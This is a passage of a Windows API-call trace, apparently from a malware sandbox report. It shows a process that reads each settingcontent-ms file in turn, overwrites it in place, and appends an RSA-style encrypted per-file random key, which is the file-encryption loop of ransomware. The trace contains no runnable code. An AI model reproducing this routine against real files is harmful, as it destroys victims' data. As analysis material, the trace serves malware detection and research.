(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7C3E0552-96E2-4069-AC1C-208C146683CA}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.183] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x49f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x49f, lpOverlapped=0x0) returned 1 [0195.184] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.184] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x49f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x49f, lpOverlapped=0x0) returned 1 [0195.185] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x49f [0195.185] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.185] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.185] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.186] CloseHandle (hObject=0x1c24) returned 1 [0195.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.188] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0195.188] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7ABBE8E6-757F-419A-B2E0-07D5694F8E0F}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.188] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b0, lpOverlapped=0x0) returned 1 [0195.190] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.190] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b0, lpOverlapped=0x0) returned 1 [0195.190] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b0 [0195.190] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.190] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.191] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.191] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.191] CloseHandle (hObject=0x1c24) returned 1 [0195.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.193] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.193] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7a4d0c5d-51ad-443e-87c7-66b757586c56}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.193] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x46b, lpOverlapped=0x0) returned 1 [0195.195] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1131, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.195] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x46b, lpOverlapped=0x0) returned 1 [0195.195] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x46b [0195.195] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.196] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.196] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.196] CloseHandle (hObject=0x1c24) returned 1 [0195.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.198] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{76F31A78-3FDA-4F80-B015-95CFD81463AD}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.199] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0195.201] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.201] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0195.201] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x484 [0195.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.201] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.202] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.202] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.202] CloseHandle (hObject=0x1c24) returned 1 [0195.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.209] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.209] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{75AC9145-7EC9-4883-82A7-AD3429020AA0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.209] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x425, lpOverlapped=0x0) returned 1 [0195.220] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1061, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.220] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x425, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x425, lpOverlapped=0x0) returned 1 [0195.221] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x425 [0195.221] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.221] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.221] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.221] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.222] CloseHandle (hObject=0x1c24) returned 1 [0195.223] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.223] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.224] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{7429F4F9-AE58-401a-82AD-723F3C6BDDD6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.224] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d3, lpOverlapped=0x0) returned 1 [0195.249] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-979, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.249] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d3, lpOverlapped=0x0) returned 1 [0195.250] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d3 [0195.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.250] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.251] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.251] CloseHandle (hObject=0x1c24) returned 1 [0195.253] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.253] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.253] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{73C9C58C-2E01-4F68-B1B9-7A4DD2EF71F7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.253] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a1, lpOverlapped=0x0) returned 1 [0195.255] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-929, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.255] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a1, lpOverlapped=0x0) returned 1 [0195.255] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a1 [0195.256] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.256] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.257] CloseHandle (hObject=0x1c24) returned 1 [0195.258] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.258] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.258] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{725be8f7-668e-4c7b-8f90-46bdb0936430}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.259] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x338, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x338, lpOverlapped=0x0) returned 1 [0195.324] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.324] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x338, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x338, lpOverlapped=0x0) returned 1 [0195.325] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x338 [0195.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.325] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.326] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.327] CloseHandle (hObject=0x1c24) returned 1 [0195.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.329] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{71D0780F-10D2-459C-983B-94A642161220}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.329] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0195.331] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-991, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.331] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3df, lpOverlapped=0x0) returned 1 [0195.332] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3df [0195.332] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.332] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.332] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.333] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.333] CloseHandle (hObject=0x1c24) returned 1 [0195.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.338] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{6dfd7c5c-2451-11d3-a299-00c04f8ef6af}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.339] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x335, lpOverlapped=0x0) returned 1 [0195.340] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-821, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.341] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x335, lpOverlapped=0x0) returned 1 [0195.341] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x335 [0195.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.342] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.342] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.343] CloseHandle (hObject=0x1c24) returned 1 [0195.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.346] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{6CBA2898-2EFE-4604-9933-F1F64DAE2A32}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.347] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.348] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1206, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.348] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b6, 